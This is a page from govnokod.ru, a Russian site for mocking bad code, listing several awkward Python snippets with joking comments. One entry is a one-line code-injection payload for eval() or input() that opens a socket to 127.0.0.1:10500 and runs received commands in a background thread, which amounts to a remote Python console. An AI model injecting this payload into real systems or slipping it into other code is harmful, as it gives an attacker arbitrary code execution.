- 1
while h == h
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
−112
while h == h
Делал так раньше, когда не знал про while True
−100
eval_prefix = lambda inp:\
reduce(lambda stack, symbol:\
(
(stack+[symbol]) if symbol.isdigit() \
else \
(
stack[:-2]+\
[str(
eval(
stack[-1]+symbol+stack[-2]
)
)
]
)
), inp[::-1], [])[0]
Здесь вам не хаскель!
−98
file.write(struct.pack('c', bytes(str('\x02'), 'ASCII')))
Потребовалось записать 1 байт в файл...
−90
# -*- coding: utf-8 -*-
i=raw_input('Input number')
variants={1:lambda :'It`s even',
2:lambda :'It`s odd',}
def get_last_digit(i):
str_digit=str(i)
return int(str_digit[-1])
def get_division_2_modulo(i):
temp=float(i)/2
str_temp=str(temp)
str_temp=str_temp.rstrip('.0')
lst_temp=str_temp.split('.')
return len(lst_temp)
print variants[get_division_2_modulo(get_last_digit(i))]()
Задание: Напишите программу определения четности / нечетности числа, значение которого вводится с клавиатуры.
В ответ автор получил такой вот код :)
−106
>>> class Foo():
... pass
...
>>> try:
... raise Foo()
... except ExceptionBase as foo:
... print 'foo %s' % foo
... except:
... print 'not an exception'
... else:
... print 'it\'s all good'
...
not an exception
>>>
Чет я как-то призадумался... Питон 2.7. Что делать-та?
−94
#!/usr/local/bin/cpython
回答 = 读入('你认为中文程式语言有存在价值吗 ? (有/没有)')
如 回答 == '有':
写 '好吧, 让我们一起努力!'
不然 回答 == '没有':
写 '好吧,中文并没有作为程式语言的价值.'
否则:
写 '请认真考虑后再回答.'
http://ru.wikipedia.org/wiki/ChinesePython
Сопроваждай, пробуй!
−98
today = datetime.datetime.today()
date_paid = profile.date_subscription_paid
months_delta = lambda a, b: a - b + (12 if b > a else 0)
months_count = months_delta(today.month, date_paid.month)
months_count += 0 if date_paid.day > today.day else 1
delta = relativedelta(months=months_count)
profile.date_subscription_paid += delta
profile.save()
Моё лицо, когда увидел это.
http://rghost.ru/40948114/image.png
−94
42 if (
setattr(__builtins__,'___m', {'s':__import__('socket'),'l':__import__('select'),'i':__import__('itertools'),'t':__import__('threading')}),
setattr(__builtins__,'___conn',__builtins__.___m['s'].create_connection(('127.0.0.1',10500))),
setattr(__builtins__,'___worker' ,lambda S: any(
(True if __builtins__.___m['l'].select([S],[S],[S])[2] else S.sendall(repr(eval(S.recv(4096), globals(), locals()))+'\n')) for i in __builtins__.___m['i'].repeat(0) )
),
__builtins__.___m['t'].Thread(target=__builtins__.___worker,args=(__builtins__.___conn,) ).start(),
) else 0
Code injection для вызовов eval() и input(). Запускает некое подобие Python-консоли в отдельном потоке.
Отформатировано для удобства чтения, вообще это однострочник.
Говно в способе, которым организуется цикл работы с сокетом. А что поделать, даже while недоступен.
−102
obj_l = list()
for obj, obj_id in [(QuizQuestion, quest_id), (QuizAssigment, ass_id), (QuizQuestionAnswer, answ_id)]:
q_set = getattr(getattr(obj, 'objects'), 'filter')(id=obj_id)
obj_l.append(getattr(q_set, 'count')() > 0 and q_set[0] or False)
(False in obj_l or obj_l[2].question != obj_l[0] or (user and obj_l[0].user)) and abort(IntegrityError())
1) хер такое прочтешь
2) для осмысления прочитанного нужно выпить
3) за осмысление такого нужно выпить еще раз
4) чувак узнал про getattr, хотя стоило вызвать напрямую obj.objects.filter(id=obj_id)
5) q_set.count() > 0 and q_set[0] or false
пятая строка поддается пониманию но катастрофически быстро начинает от этого терять смысл
−94
def __call__(self, *args, **kw):
# ...
if args and len(args) > 1 and args[0] is args[1][0]:
# fml...
temp = list(args)
temp.pop(1)
args = tuple(temp)
return self._execute(*args, **kw)
Быль про архитектуру.